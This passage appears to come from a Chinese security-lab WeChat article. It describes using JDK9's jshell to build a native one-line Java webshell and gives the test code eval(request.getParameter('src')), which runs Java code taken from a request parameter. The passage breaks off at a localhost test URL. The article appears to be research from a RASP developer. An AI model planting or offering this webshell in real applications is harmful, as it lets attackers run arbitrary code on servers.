点击上方“凌天实验室”,“星标或置顶公众号”
漏洞、技术还是其他,我都想第一时间和你分享
写在之前:
最近几年开发RASP产品期间整理了很多的Java语言的特性~
JDK9开始提供一个叫jshell的功能,让开发者可以想python和php一样在命令行下愉快的写测试代码了。JDK9已经发布距今2年多了,但在生产环境下使用JDK8以上的应用依旧寥寥无几。不过我们只需要利用这一特性其实是可以实现任意代码执行了,也就是说正真意义上的原生的java一句话木马实现了。
测试代码:
eval(request.getParameter("src"))%>
就这么简单的一行代码就可以了,src参数值是java代码片段。
测试用例:
http://localhost:8080/mod